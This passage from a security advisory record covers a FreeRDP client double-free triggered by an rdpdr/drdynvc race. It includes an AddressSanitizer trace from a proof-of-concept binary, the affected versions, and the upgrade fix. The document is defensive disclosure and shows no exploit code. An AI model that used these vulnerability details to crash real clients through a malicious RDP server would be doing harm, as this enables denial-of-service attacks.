3cbe79df53385c7414f3eb1832222188e8778f53) Thread T4 created by T0 here: #0 0x606a63bf8aa5 in pthread_create (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xb7aa5) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) #1 0x606a63c5b691 in run_delivery_loop /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:382:7 #2 0x606a63c5a11e in main /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:529:7 #3 0x74622082a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0x74622082a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0x606a63b6f474 in _start (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0x2e474) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) SUMMARY: AddressSanitizer: double-free (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xd4b10) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) in realloc ==281826==ABORTING ``` ### Impact A malicious RDP server can trigger a double-free and crash the FreeRDP client, resulting in remote denial of service
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.33.1 | 3.34.0 | Patch available | GHSA-jjh5-2wqf-563h |
- FreeRDP (c) Vendor— Affected <= 3.33.1 Fixed in 3.34.0 Patch available GHSA-jjh5-2wqf-563h
Remediation
Upgrade FreeRDP to 3.34.0, which fixes this issue.
Written with Claude Haiku 5.5 from the sources below · 2026-12-04
- Fix · GHSA-jjh5-2wqf-563h FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-04 Threatist record created from GHSA-jjh5-2wqf-563h
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences